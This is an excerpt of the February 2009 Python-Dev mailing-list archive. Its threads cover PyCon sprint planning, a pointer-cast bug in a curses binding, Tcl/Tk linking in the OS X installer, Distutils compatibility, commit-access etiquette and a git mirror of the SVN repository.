who want to > sprint have time to make travel arrangements. > > In the past, some have been reluctant to commit to sprinting: some may not know > what sprinting is all about; others may think that they're not "qualified" to > sprint. We're on an ongoing mission to change that perception: > > * We'll help promote your sprint. The PyCon website, the PyCon blog, the PyCon > ?podcast, and press releases will be there for you. > > * PyCon attendees will be asked to commit to sprints on the registration form, > ?which will include a list of sprints with links to further info. > > * We will be featuring a "How To Sprint" session on Sunday afternoon, followed > ?by sprint-related tutorials, all for free. This is a great opportunity to > ?introduce your project to prospective contributors. We'll have more details > ?about this later. > > * Some sponsors are helping out with the sprints as well. > > There's also cost. Although the sprinting itself is free, sprints have > associated time and hotel costs. We can't do anything about the time cost, but > we may have some complimentary rooms and funding available for sprinters. We > will have more to say on financial aid later. > > Those who want to lead a sprint should send the following information > to pycon-organizers at python.org: > > * Project/sprint name > > * Project URL > > * The name and contact info (email and/or telephone) for the sprint leader(s) > ?and other contributors who will attend the sprint > > * Instructions for accessing the project's code repository and documentation (or > ?a URL) > > * Pointers to new contributor information (setup, etc.) > > * Any special requirements (projector? whiteboard? flux capacitor?) > > We will add this information to the PyCon website and set up a wiki page for you > (or we can link to yours). Projects should provide a list of goals (bugs to fix, > features to add, docs to write, etc.), especially some goals for beginners, to > attract new sprinters. The more detail you put there, the more prepared your > sprinters will be, and the more results you'll get. > > In 2008 there were sprints for Python, TurboGears, Pylons, Django, Jython, WSGI, > PyGame, Bazaar, Trac, PyCon-Tech, OLPC, Orbited, PyPy, Grok, and many others. We > would like to see all these and more! > > Sprints will start with an introductory session on Sunday, March 29; this > session will begin immedately after PyCon's scheduled portion ends. The sprints > themselves will run from Monday, March 30 through Thursday, April 2, 2009. > > You can find all these details and more at http://us.pycon.org/2009/sprints/. > > If you have any questions, feel free to contact me directly. > Thank you very much, and happy coding! > > Jacob Kaplan-Moss > > _______________________________________________ > Python-Dev mailing list > Python-Dev at python.org > http://mail.python.org/mailman/listinfo/python-dev > Unsubscribe: http://mail.python.org/mailman/options/python-dev/starsareblueandfaraway%40gmail.com > From skip at pobox.com Thu Feb 26 02:54:25 2009 From: skip at pobox.com (skip at pobox.com) Date: Wed, 25 Feb 2009 19:54:25 -0600 Subject: [Python-Dev] Bug tracker house cleaning. In-Reply-To: References: Message-ID: <18853.63057.233674.545543@montanaro.dyndns.org> Raymond> ISTM, that when closing duplicate bug reports, both should Raymond> reference one another so that the combined threads don't get Raymond> lost. RT has a merge feature which allows you to take a duplicate an merge it into another ticket. This merges the chain of comments, cc's requestors, etc. Skip From leif.walsh at gmail.com Thu Feb 26 09:08:00 2009 From: leif.walsh at gmail.com (Leif Walsh) Date: Thu, 26 Feb 2009 03:08:00 -0500 Subject: [Python-Dev] A suggestion: Do proto-PEPs in Google Docs In-Reply-To: <87tz6ppzk9.fsf@xemacs.org> References: <499C6E00.2030602@canterbury.ac.nz> <499CC6E8.5050104@ronadam.com> <499D243B.8080801@canterbury.ac.nz> <499D2740.1070408@canterbury.ac.nz> <499D3086.6020706@canterbury.ac.nz> <87tz6ppzk9.fsf@xemacs.org> Message-ID: On Thu, Feb 19, 2009 at 10:17 PM, Stephen J. Turnbull wrote: > Overall, I recommend use of Google Docs for "Python-Ideas" level of > PEP drafts. +1! I also like Google Sites for collaborative editing. -- Cheers, Leif From eckhardt at satorlaser.com Thu Feb 26 12:52:23 2009 From: eckhardt at satorlaser.com (Ulrich Eckhardt) Date: Thu, 26 Feb 2009 12:52:23 +0100 Subject: [Python-Dev] String conversion issues implementing new curses module method addchstr, etc. In-Reply-To: <22211983.post@talk.nabble.com> References: <22211983.post@talk.nabble.com> Message-ID: <200902261252.23274.eckhardt@satorlaser.com> On Wednesday 25 February 2009, Heracles wrote: > addchstr((chtype*)PyString_AsString(pS)) You are effectively disabling the well-deserved warnings with the cast here. Don't do that. > Now the thing is that when I make calls from python like so: > > curses.addchstr(5,10, "@ < Row 5, Col 10") [...] > What prints out on the screen is gobledygook not the strings you would > expect below. [...] > Any thoughts on how to correctly convert the PyStringObject arguments to > chtype* pointers so that the ncurses library will be able to understand > them? In this case, I suggest man ncurses: | cchar_t | corresponds to chtype. However it is a structure, because more | data is stored than can fit into an integer. The characters are | large enough to require a full integer value - and there may | be more than one character per cell. The video attributes and | color are stored in separate fields of the structure. I'm pretty sure that you can find functions to generate such a string both from a char-string (with whatever encoding) or a wchar_t-string (using Unicode probably) in the curses library. Uli -- Sator Laser GmbH Gesch?ftsf?hrer: Thorsten F?cking, Amtsgericht Hamburg HR B62 932 ************************************************************************************** Sator Laser GmbH, Fangdieckstra?e 75a, 22547 Hamburg, Deutschland Gesch?ftsf?hrer: Thorsten F?cking, Amtsgericht Hamburg HR B62 932 ************************************************************************************** Visit our website at ************************************************************************************** Diese E-Mail einschlie?lich s?mtlicher Anh?nge ist nur f?r den Adressaten bestimmt und kann vertrauliche Informationen enthalten. Bitte benachrichtigen Sie den Absender umgehend, falls Sie nicht der beabsichtigte Empf?nger sein sollten. Die E-Mail ist in diesem Fall zu l?schen und darf weder gelesen, weitergeleitet, ver?ffentlicht oder anderweitig benutzt werden. E-Mails k?nnen durch Dritte gelesen werden und Viren sowie nichtautorisierte ?nderungen enthalten. Sator Laser GmbH ist f?r diese Folgen nicht verantwortlich. ************************************************************************************** From steve at integrityintegrators.net Thu Feb 26 15:22:43 2009 From: steve at integrityintegrators.net (Heracles) Date: Thu, 26 Feb 2009 06:22:43 -0800 (PST) Subject: [Python-Dev] String conversion issues implementing new curses module method addchstr, etc. In-Reply-To: <200902261252.23274.eckhardt@satorlaser.com> References: <22211983.post@talk.nabble.com> <200902261252.23274.eckhardt@satorlaser.com> Message-ID: <22225142.post@talk.nabble.com> Thank you, this is most helpful, and i will heed your advice about the cast. Cheers! Ulrich Eckhardt wrote: > > On Wednesday 25 February 2009, Heracles wrote: >> addchstr((chtype*)PyString_AsString(pS)) > > You are effectively disabling the well-deserved warnings with the cast > here. > Don't do that. > >> Now the thing is that when I make calls from python like so: >> >> curses.addchstr(5,10, "@ < Row 5, Col 10") > [...] >> What prints out on the screen is gobledygook not the strings you would >> expect below. > [...] >> Any thoughts on how to correctly convert the PyStringObject arguments to >> chtype* pointers so that the ncurses library will be able to understand >> them? > > In this case, I suggest man ncurses: > > | cchar_t > | corresponds to chtype. However it is a structure, because more > | data is stored than can fit into an integer. The characters are > | large enough to require a full integer value - and there may > | be more than one character per cell. The video attributes and > | color are stored in separate fields of the structure. > > I'm pretty sure that you can find functions to generate such a string both > from a char-string (with whatever encoding) or a wchar_t-string (using > Unicode probably) in the curses library. > > Uli > > -- > Sator Laser GmbH > Gesch?ftsf?hrer: Thorsten F?cking, Amtsgericht Hamburg HR B62 932 > > ************************************************************************************** > Sator Laser GmbH, Fangdieckstra?e 75a, 22547 Hamburg, Deutschland > Gesch?ftsf?hrer: Thorsten F?cking, Amtsgericht Hamburg HR B62 932 > ************************************************************************************** > Visit our website at > ************************************************************************************** > Diese E-Mail einschlie?lich s?mtlicher Anh?nge ist nur f?r den Adressaten > bestimmt und kann vertrauliche Informationen enthalten. Bitte > benachrichtigen Sie den Absender umgehend, falls Sie nicht der > beabsichtigte Empf?nger sein sollten. Die E-Mail ist in diesem Fall zu > l?schen und darf weder gelesen, weitergeleitet, ver?ffentlicht oder > anderweitig benutzt werden. > E-Mails k?nnen durch Dritte gelesen werden und Viren sowie > nichtautorisierte ?nderungen enthalten. Sator Laser GmbH ist f?r diese > Folgen nicht verantwortlich. > ************************************************************************************** > > _______________________________________________ > Python-Dev mailing list > Python-Dev at python.org > http://mail.python.org/mailman/listinfo/python-dev > Unsubscribe: > http://mail.python.org/mailman/options/python-dev/lists%40nabble.com > > -- View this message in context: http://www.nabble.com/String-conversion-issues-implementing-new-curses-module-method-addchstr%2C-etc.-tp22211983p22225142.html Sent from the Python - python-dev mailing list archive at Nabble.com. From steve at integrityintegrators.net Thu Feb 26 15:27:13 2009 From: steve at integrityintegrators.net (Heracles) Date: Thu, 26 Feb 2009 06:27:13 -0800 (PST) Subject: [Python-Dev] String conversion issues implementing new curses module method addchstr, etc. Message-ID: <22225142.post@talk.nabble.com> Funny thing happens when you work in a managed language like .Net or Java for too long. You tend to expect that the language will catch any invalid casts and prevent you from compiling the code. Guess I need to spend more time doing C coding to get back in to it. Thank you, this is most helpful, and i will heed your advice about the cast. Cheers! Ulrich Eckhardt wrote: > > On Wednesday 25 February 2009, Heracles wrote: >> addchstr((chtype*)PyString_AsString(pS)) > > You are effectively disabling the well-deserved warnings with the cast > here. > Don't do that. > >> Now the thing is that when I make calls from python like so: >> >> curses.addchstr(5,10, "@ < Row 5, Col 10") > [...] >> What prints out on the screen is gobledygook not the strings you would >> expect below. > [...] >> Any thoughts on how to correctly convert the PyStringObject arguments to >> chtype* pointers so that the ncurses library will be able to understand >> them? > > In this case, I suggest man ncurses: > > | cchar_t > | corresponds to chtype. However it is a structure, because more > | data is stored than can fit into an integer. The characters are > | large enough to require a full integer value - and there may > | be more than one character per cell. The video attributes and > | color are stored in separate fields of the structure. > > I'm pretty sure that you can find functions to generate such a string both > from a char-string (with whatever encoding) or a wchar_t-string (using > Unicode probably) in the curses library. > > Uli > > -- > Sator Laser GmbH > Gesch?ftsf?hrer: Thorsten F?cking, Amtsgericht Hamburg HR B62 932 > > ************************************************************************************** > Sator Laser GmbH, Fangdieckstra?e 75a, 22547 Hamburg, Deutschland > Gesch?ftsf?hrer: Thorsten F?cking, Amtsgericht Hamburg HR B62 932 > ************************************************************************************** > Visit our website at > ************************************************************************************** > Diese E-Mail einschlie?lich s?mtlicher Anh?nge ist nur f?r den Adressaten > bestimmt und kann vertrauliche Informationen enthalten. Bitte > benachrichtigen Sie den Absender umgehend, falls Sie nicht der > beabsichtigte Empf?nger sein sollten. Die E-Mail ist in diesem Fall zu > l?schen und darf weder gelesen, weitergeleitet, ver?ffentlicht oder > anderweitig benutzt werden. > E-Mails k?nnen durch Dritte gelesen werden und Viren sowie > nichtautorisierte ?nderungen enthalten. Sator Laser GmbH ist f?r diese > Folgen nicht verantwortlich. > ************************************************************************************** > > _______________________________________________ > Python-Dev mailing list > Python-Dev at python.org > http://mail.python.org/mailman/listinfo/python-dev > Unsubscribe: > http://mail.python.org/mailman/options/python-dev/lists%40nabble.com > > -- View this message in context: http://www.nabble.com/String-conversion-issues-implementing-new-curses-module-method-addchstr%2C-etc.-tp22211983p22225142.html Sent from the Python - python-dev mailing list archive at Nabble.com. From amk at amk.ca Thu Feb 26 22:58:38 2009 From: amk at amk.ca (A.M. Kuchling) Date: Thu, 26 Feb 2009 16:58:38 -0500 Subject: [Python-Dev] Adding support to curses library In-Reply-To: References: <22191916.post@talk.nabble.com> <22203899.post@talk.nabble.com> <20090225153417.GA9321@amk-desktop.matrixgroup.net> Message-ID: <20090226215838.GA16478@amk-desktop.matrixgroup.net> On Wed, Feb 25, 2009 at 01:52:29PM -0800, steve at integrityintegrators.net wrote: > Are you up for helping a little more? Sure, but please open an issue on http://bugs.python.org for this; back-and-forth over a particular patch is done in the bug tracker, not the python-dev mailing list. http://www.python.org/dev/ discusses how development is done. We also don't send around modified copies of entire files; http://www.python.org/dev/faq/#patches discusses how to make patches. --amk From aahz at pythoncraft.com Thu Feb 26 23:07:52 2009 From: aahz at pythoncraft.com (Aahz) Date: Thu, 26 Feb 2009 14:07:52 -0800 Subject: [Python-Dev] A suggestion: Do proto-PEPs in Google Docs In-Reply-To: References: <499D2740.1070408@canterbury.ac.nz> <499D3086.6020706@canterbury.ac.nz> <87tz6ppzk9.fsf@xemacs.org> <87eixs5tp5.fsf@xemacs.org> Message-ID: <20090226220752.GA18893@panix.com> On Sat, Feb 21, 2009, rdmurray at bitdance.com wrote: > > Not that I'm expecting to be working on PEPs any time soon, but just as a > different perspective, I would find the effort to open up Google docs to > be a much higher barrier to doing some editing tweaks than the dvcs case. For me, the big barrier to Google docs is the requirement to fire up a GUI browser and log into Google. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ Weinberg's Second Law: If builders built buildings the way programmers wrote programs, then the first woodpecker that came along would destroy civilization. From techtonik at gmail.com Fri Feb 27 00:18:39 2009 From: techtonik at gmail.com (anatoly techtonik) Date: Fri, 27 Feb 2009 01:18:39 +0200 Subject: [Python-Dev] Pybots link obsolete? In-Reply-To: References: Message-ID: Still actual. On Wed, Jan 7, 2009 at 5:54 PM, Antoine Pitrou wrote: > Hello, > > In http://www.python.org/dev/buildbot/, there's a link suggesting to visit the > pybots Web site for more information. However, http://www.pybots.org/ just says > "Nothing here #". > > Regards > > Antoine. > > > _______________________________________________ > Python-Dev mailing list > Python-Dev at python.org > http://mail.python.org/mailman/listinfo/python-dev > Unsubscribe: http://mail.python.org/mailman/options/python-dev/techtonik%40gmail.com > -- --anatoly t. From nad at acm.org Fri Feb 27 01:57:34 2009 From: nad at acm.org (Ned Deily) Date: Thu, 26 Feb 2009 16:57:34 -0800 Subject: [Python-Dev] OS X Installer for 3.0.1 and supported versions References: Message-ID: In article , "Russell E. Owen" wrote: > I want to follow up on this a bit. In the past if the Mac Python > installer was built on a machine that did NOT have a locally installed > Tcl/Tk then it would fail to work with a locally installed Tcl/Tk: > Python would segfault when trying to use Tkinter. > > The solution was to build the Mac python installer on a machine with a > locally installed Tcl/Tk. The resulting installer package would work on > all systems -- with or without locally installed Tcl/Tk. > > So...has this problem been worked around, or is the Mac installer still > built on a machine that has a locally installed Tcl/Tk? Ronald will have to answer that for sure since he built the installer for 3.0.1. However, it seems to be true that the most recent python.org OS X installers will always favor a /System/Library/Frameworks/{Tcl/Tk}: $ cd /Library/Frameworks/Python.framework/Versions/3.0/lib/python3.0/lib-dynlo ad $ otool -L _tkinter.so _tkinter.so: /System/Library/Frameworks/Tcl.framework/Versions/8.4/Tcl (compatibility version 8.4.0, current version 8.4.0) /System/Library/Frameworks/Tk.framework/Versions/8.4/Tk (compatibility version 8.4.0, current version 8.4.0) /usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 88.3.10) I'm certainly not a Tcl expert nor overly familiar with the history of this issue but here's what I see. As a test, I installed the ActiveTcl 8.4.19, which installs in /Library/Frameworks, and confirmed that a simple "import tkinter; root = tkinter.Tk()" for 3.0.1 does indeed use the Apple-supplied 8.4.7 Tcl. Running similar tests and otool -L on _tkinter.so from the 2.6.1 and 2.5.4 python.org installs gives similar results (both always use the Apple-supplied Tcl from /System/Library). However, the _tkinter.so from the 2.4.4 python.org installer is different: $ cd /Library/Frameworks/Python.framework/Versions/2.4/lib/python2.4/lib-dynlo ad $ otool -L _tkinter.so _tkinter.so: /Library/Frameworks/Tcl.framework/Versions/8.4/Tcl (compatibility version 8.4.0, current version 8.4.13) /Library/Frameworks/Tk.framework/Versions/8.4/Tk (compatibility version 8.4.0, current version 8.4.13) /usr/lib/libmx.A.dylib (compatibility version 1.0.0, current version 47.1.0) /usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 88.1.3) and it does in fact use the /Library 8.4.19 ActiveTcl framework if installed and, as expected, reverts to the Apple-supplied 8.4.7 /System/Library framework version if the ActiveTcl framework is removed. So it looks like you recall correctly that at least some earlier installers were built on a machine with a locally installed Tcl/Tk. It should be an easy matter to do that for future 10.4-10.5 installers so that newer 8.4 versions can be used. Note, there was a Tcl/Tk problem with the initial 2.6 OS X installer (http://bugs.python.org/issue4017) but in that case the locally installed Tcl/Tk version was 8.5 and the fallback to a system-supplied 8.4 doesn't work across versions. > Most people who makes serious use of Tkinter presumably have a locally > installed Tcl/Tk because the version that Apple provides is ancient and > is missing many important bug fixes and performance enhancements. > > Also, a somewhat related issue: Tcl/Tk 8.4 is no longer maintained. All > development work is going on in Tcl/Tk 8.5. Presumably Apple will > transition one of these days, and at that point we may need a separate > Mac Python installer for the older operating systems vs. the newer. Yes, something will need to be done for that if Snow Leopard does have newer versions. Thanks for bringing this up! -- Ned Deily, nad at acm.org From ziade.tarek at gmail.com Fri Feb 27 02:36:46 2009 From: ziade.tarek at gmail.com (=?ISO-8859-1?Q?Tarek_Ziad=E9?=) Date: Fri, 27 Feb 2009 02:36:46 +0100 Subject: [Python-Dev] Distutils in PEP 291 Message-ID: <94bdd2610902261736t234fc161u83c69419a8d42f19@mail.gmail.com> Hello, If no one objects, I would like to: - put Distutils back into PEP 291 for Python 2.3 compatibility - fix the two issues that prevent the current trunk to run with Python 2.3 to 2.5 (see http://bugs.python.org/issue5052 and the patch I worked on) Regards Tarek -- Tarek Ziad? | Association AfPy | www.afpy.org Blog FR | http://programmation-python.org Blog EN | http://tarekziade.wordpress.com/ From tseaver at palladion.com Fri Feb 27 03:46:24 2009 From: tseaver at palladion.com (Tres Seaver) Date: Thu, 26 Feb 2009 21:46:24 -0500 Subject: [Python-Dev] Distutils in PEP 291 In-Reply-To: <94bdd2610902261736t234fc161u83c69419a8d42f19@mail.gmail.com> References: <94bdd2610902261736t234fc161u83c69419a8d42f19@mail.gmail.com> Message-ID: <49A75400.1060907@palladion.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Tarek Ziad? wrote: > Hello, > > If no one objects, I would like to: > > - put Distutils back into PEP 291 for Python 2.3 compatibility > - fix the two issues that prevent the current trunk to run with Python > 2.3 to 2.5 (see http://bugs.python.org/issue5052 and the patch I > worked on) +1. Tres. - -- =================================================================== Tres Seaver +1 540-429-0999 tseaver at palladion.com Palladion Software "Excellence by Design" http://palladion.com -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFJp1QA+gerLs4ltQ4RAirAAJ99FomyrgYELjDITGBUtbmKtKlKOQCdHSjz LsAgd1PFZFyvTgdaIMkw4/o= =MKhZ -----END PGP SIGNATURE----- From tseaver at palladion.com Fri Feb 27 03:46:24 2009 From: tseaver at palladion.com (Tres Seaver) Date: Thu, 26 Feb 2009 21:46:24 -0500 Subject: [Python-Dev] Distutils in PEP 291 In-Reply-To: <94bdd2610902261736t234fc161u83c69419a8d42f19@mail.gmail.com> References: <94bdd2610902261736t234fc161u83c69419a8d42f19@mail.gmail.com> Message-ID: <49A75400.1060907@palladion.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Tarek Ziad? wrote: > Hello, > > If no one objects, I would like to: > > - put Distutils back into PEP 291 for Python 2.3 compatibility > - fix the two issues that prevent the current trunk to run with Python > 2.3 to 2.5 (see http://bugs.python.org/issue5052 and the patch I > worked on) +1. Tres. - -- =================================================================== Tres Seaver +1 540-429-0999 tseaver at palladion.com Palladion Software "Excellence by Design" http://palladion.com -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFJp1QA+gerLs4ltQ4RAirAAJ99FomyrgYELjDITGBUtbmKtKlKOQCdHSjz LsAgd1PFZFyvTgdaIMkw4/o= =MKhZ -----END PGP SIGNATURE----- From nas at arctrix.com Fri Feb 27 06:21:16 2009 From: nas at arctrix.com (Neil Schemenauer) Date: Thu, 26 Feb 2009 23:21:16 -0600 Subject: [Python-Dev] Instructions on using git mirror Message-ID: <20090227052116.GA18994@arctrix.com> I've revised my instructions on using the experimental git mirror of the Python SVN repository: http://python.ca/nas/tmp/git-notes.txt Stories of success or failure welcome. Neil From chris at simplistix.co.uk Fri Feb 27 09:49:10 2009 From: chris at simplistix.co.uk (Chris Withers) Date: Fri, 27 Feb 2009 08:49:10 +0000 Subject: [Python-Dev] How do I get commit access? Message-ID: <49A7A906.8000008@simplistix.co.uk> Hi All, I want to work on these issues: http://bugs.python.org/issue1823 http://bugs.python.org/issue1874 ...and I'd also like to commit the patch I submitted with this one: http://bugs.python.org/issue1974 How do I go about getting commit access? When I do, I take it I work against the version of python I care about and then foreward port to the trunk and any other maintenence branches necessary? cheers, Chris -- Simplistix - Content Management, Zope & Python Consulting - http://www.simplistix.co.uk From python at rcn.com Fri Feb 27 10:04:35 2009 From: python at rcn.com (Raymond Hettinger) Date: Fri, 27 Feb 2009 01:04:35 -0800 Subject: [Python-Dev] How do I get commit access? References: <49A7A906.8000008@simplistix.co.uk> Message-ID: <0F0CFC42EDFF4BA290BFDFC67E5EC056@RaymondLaptop1> [Chris Withers] > I want to work on these issues: > > http://bugs.python.org/issue1823 > http://bugs.python.org/issue1874 > > ...and I'd also like to commit the patch I submitted with this one: > > http://bugs.python.org/issue1974 Barry usually takes ownership of changes to the email package. Do you have patches ready for him to review? Raymond From chris at simplistix.co.uk Fri Feb 27 10:08:28 2009 From: chris at simplistix.co.uk (Chris Withers) Date: Fri, 27 Feb 2009 09:08:28 +0000 Subject: [Python-Dev] How do I get commit access? In-Reply-To: <0F0CFC42EDFF4BA290BFDFC67E5EC056@RaymondLaptop1> References: <49A7A906.8000008@simplistix.co.uk> <0F0CFC42EDFF4BA290BFDFC67E5EC056@RaymondLaptop1> Message-ID: <49A7AD8C.5030209@simplistix.co.uk> Raymond Hettinger wrote: > > [Chris Withers] >> I want to work on these issues: >> >> http://bugs.python.org/issue1823 >> http://bugs.python.org/issue1874 >> >> ...and I'd also like to commit the patch I submitted with this one: >> >> http://bugs.python.org/issue1974 > > Barry usually takes ownership of changes to the email package. > Do you have patches ready for him to review? Not yet for 1974, but given that I submitted a patch for this issue: http://bugs.python.org/issue4308 ...some months ago, and nothing has happened with it, I want to get a bit more pro-active, hence the question in the subject line ;-) cheers, Chris -- Simplistix - Content Management, Zope & Python Consulting - http://www.simplistix.co.uk From python at rcn.com Fri Feb 27 10:30:10 2009 From: python at rcn.com (Raymond Hettinger) Date: Fri, 27 Feb 2009 01:30:10 -0800 Subject: [Python-Dev] How do I get commit access? References: <49A7A906.8000008@simplistix.co.uk> <0F0CFC42EDFF4BA290BFDFC67E5EC056@RaymondLaptop1> <49A7AD8C.5030209@simplistix.co.uk> Message-ID: [Chris Withers] >> Barry usually takes ownership of changes to the email package. >> Do you have patches ready for him to review? > > Not yet for 1974, but given that I submitted a patch for this issue: > > http://bugs.python.org/issue4308 > > ...some months ago, and nothing has happened with it, I want to get a > bit more pro-active, hence the question in the subject line ;-) Being proactive with that package probably means submitting patches and waiting. When there are active module maintainers, other contributors (including committers) generally refrain from committing semantic changes and defer to the package owner (effbot for ElementTree, Barry for email, Ippolito for json, Vinay for logging, Skip and Barry for csv, me for itertools and collections, Kurt for IDLE, etc). The process can be maddenly slow (waiting for an owner to have the time and inclination) but it has its advantages over the long-term. Raymond From chris at simplistix.co.uk Fri Feb 27 10:40:17 2009 From: chris at simplistix.co.uk (Chris Withers) Date: Fri, 27 Feb 2009 09:40:17 +0000 Subject: [Python-Dev] How do I get commit access? In-Reply-To: References: <49A7A906.8000008@simplistix.co.uk> <0F0CFC42EDFF4BA290BFDFC67E5EC056@RaymondLaptop1> <49A7AD8C.5030209@simplistix.co.uk> Message-ID: <49A7B501.4070508@simplistix.co.uk> Raymond Hettinger wrote: > > Being proactive with that package probably means submitting > patches and waiting. When there are active module maintainers, > other contributors (including committers) generally refrain from > committing semantic changes and defer to the package owner > (effbot for ElementTree, Barry for email, Ippolito for json, Vinay for > logging, Skip and Barry for csv, me for itertools and > collections, Kurt for IDLE, etc). Right, so who looks after httplib? > The process can be maddenly slow (waiting for an owner to > have the time and inclination) but it has its advantages over > the long-term. Okay, I guess I should just bug Barry then? But still, no answer to my original question... Chris -- Simplistix - Content Management, Zope & Python Consulting - http://www.simplistix.co.uk From ncoghlan at gmail.com Fri Feb 27 11:11:35 2009 From: ncoghlan at gmail.com (Nick Coghlan) Date: Fri, 27 Feb 2009 20:11:35 +1000 Subject: [Python-Dev] How do I get commit access? In-Reply-To: <49A7B501.4070508@simplistix.co.uk> References: <49A7A906.8000008@simplistix.co.uk> <0F0CFC42EDFF4BA290BFDFC67E5EC056@RaymondLaptop1> <49A7AD8C.5030209@simplistix.co.uk> <49A7B501.4070508@simplistix.co.uk> Message-ID: <49A7BC57.5010003@gmail.com> Chris Withers wrote: > But still, no answer to my original question... Largely, by being patient and waiting :) As to what you're actually waiting for - usually for an existing developer to suggest granting you commit privileges. The exact reasons an existing developer may suggest that are many and varied - a significant history of accepted patches is certainly one way, as is a long history contributing to python-dev. Assisting with triage and patch reviews on the tracker is another good one. There are occasional exceptions, such as when a new module is adopted for the standard library and the developer is granted commit privileges to support that module, or when a new maintainer steps forward for a somewhat neglected area of the standard library. Mainly though, it's a question of "Hurry up and wait!". Cheers, Nick. -- Nick Coghlan | ncoghlan at gmail.com | Brisbane, Australia --------------------------------------------------------------- From lists at cheimes.de Fri Feb 27 11:13:52 2009 From: lists at cheimes.de (Christian Heimes) Date: Fri, 27 Feb 2009 11:13:52 +0100 Subject: [Python-Dev] How do I get commit access? In-Reply-To: <49A7B501.4070508@simplistix.co.uk> References: <49A7A906.8000008@simplistix.co.uk> <0F0CFC42EDFF4BA290BFDFC67E5EC056@RaymondLaptop1> <49A7AD8C.5030209@simplistix.co.uk> <49A7B501.4070508@simplistix.co.uk> Message-ID: Chris Withers wrote: > But still, no answer to my original question... Hey Chris, long time no see! Your question is covered by the developer FAQ http://python.org/dev/faq/#how-can-i-become-a-developer. You can get write privileges by providing a constant flow of good patches. Eventually you get write access when multiple developers (or Guido himself) think that you are ready for it. CPython has a stricter policy than most other Python related projects. Christian From barry at python.org Fri Feb 27 14:08:40 2009 From: barry at python.org (Barry Warsaw) Date: Fri, 27 Feb 2009 08:08:40 -0500 Subject: [Python-Dev] How do I get commit access? In-Reply-To: <49A7AD8C.5030209@simplistix.co.uk> References: <49A7A906.8000008@simplistix.co.uk> <0F0CFC42EDFF4BA290BFDFC67E5EC056@RaymondLaptop1> <49A7AD8C.5030209@simplistix.co.uk> Message-ID: <064BBADB-B9EB-4545-A88C-A5C736FFD1D6@python.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Feb 27, 2009, at 4:08 AM, Chris Withers wrote: > Raymond Hettinger wrote: >> [Chris Withers] >>> I want to work on these issues: >>> >>> http://bugs.python.org/issue1823 >>> http://bugs.python.org/issue1874 >>> >>> ...and I'd also like to commit the patch I submitted with this one: >>> >>> http://bugs.python.org/issue1974 >> Barry usually takes ownership of changes to the email package. >> Do you have patches ready for him to review? > > Not yet for 1974, but given that I submitted a patch for this issue: > > http://bugs.python.org/issue4308 > > ...some months ago, and nothing has happened with it, I want to get > a bit more pro-active, hence the question in the subject line ;-) Chris, are you going to be at Pycon? I'm sorry I haven't had time to review email package changes. I will try to take a look this weekend, but if you're going to be at Pycon perhaps we can find some sprinting time? Barry -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (Darwin) iQCVAwUBSafl2XEjvBPtnXfVAQLOBwP+IiQkBYkTiqgtLr+4q+0+5h4xrcCKwFNr DcGzT6+AgAcLftSst2uPt98ajgPUoYSXt+irDkTBPJBlsv5snRqLh4UDk+GFJ0/O zivfKGXa2sZ9G5pNDD0aN4YVr/MUILeqOyKWG0I7MAvALD4tMW+6+RMbb+PBFjFT I3jT8ROseQ8= =fxmA -----END PGP SIGNATURE----- From millbr02 at luther.edu Fri Feb 27 15:36:08 2009 From: millbr02 at luther.edu (Brad Miller) Date: Fri, 27 Feb 2009 08:36:08 -0600 Subject: [Python-Dev] Instructions on using git mirror In-Reply-To: <20090227052116.GA18994@arctrix.com> References: <20090227052116.GA18994@arctrix.com> Message-ID: when I get to the step git svn fetch I get the following error: zsh-% git svn fetch Permission denied (publickey). Network connection closed unexpectedly: Connection closed unexpectedly at /opt/local/bin/git-svn line 1385 Is there a prerequisite that I get some kind of ssh key pair setup with the svn repository? I thought that was only for committers. Brad On Thu, Feb 26, 2009 at 11:21 PM, Neil Schemenauer wrote: > I've revised my instructions on using the experimental git mirror of > the Python SVN repository: > > http://python.ca/nas/tmp/git-notes.txt > > Stories of success or failure welcome. > > Neil > _______________________________________________ > Python-Dev mailing list > Python-Dev at python.org > http://mail.python.org/mailman/listinfo/python-dev > Unsubscribe: > http://mail.python.org/mailman/options/python-dev/bmiller%40luther.edu > -- Brad Miller Assistant Professor, Computer Science Luther College -------------- next part -------------- An HTML attachment was scrubbed... URL: From nas at arctrix.com Fri Feb 27 16:48:17 2009 From: nas at arctrix.com (Neil Schemenauer) Date: Fri, 27 Feb 2009 09:48:17 -0600 Subject: [Python-Dev] Instructions on using git mirror In-Reply-To: References: <20090227052116.GA18994@arctrix.com> Message-ID: <20090227154817.GB24580@arctrix.com> On Fri, Feb 27, 2009 at 08:36:08AM -0600, Brad Miller wrote: > when I get to the step git svn fetch I get the following error: > zsh-% git svn fetch > Permission denied (publickey). > Network connection closed unexpectedly: Connection closed unexpectedly at > /opt/local/bin/git-svn line 1385 > > > Is there a prerequisite that I get some kind of ssh key pair setup with the > svn repository? I thought that was only for committers. Sorry, the instructions don't work for read-only access. I've updated them. You need to use: git svn init http://svn.python.org/projects/python/trunk for read-only access to SVN. Regards, Neil From shashidhar.velagandula at gmail.com Fri Feb 27 17:07:47 2009 From: shashidhar.velagandula at gmail.com (shashidhar velagandula) Date: Fri, 27 Feb 2009 21:37:47 +0530 Subject: [Python-Dev] Fwd: require python rpms for fc8 In-Reply-To: <8baedd360902270751g49fd24dei1a05b5509c2d153a@mail.gmail.com> References: <8baedd360902270751g49fd24dei1a05b5509c2d153a@mail.gmail.com> Message-ID: <8baedd360902270807x567c6627wf292e60c76893c22@mail.gmail.com> ---------- Forwarded message ---------- From: shashidhar velagandula Date: Fri, Feb 27, 2009 at 9:21 PM Subject: Fwd: require python rpms for fc8 To: python-dev at python.org ---------- Forwarded message ---------- From: Date: Fri, Feb 27, 2009 at 8:38 PM Subject: require python rpms for fc8 To: shashidhar.velagandula at gmail.com This mailing list is closed now. Please use python-dev at python.org instead. ---------- Forwarded message ---------- From: shashidhar velagandula To: python-3000 at python.org 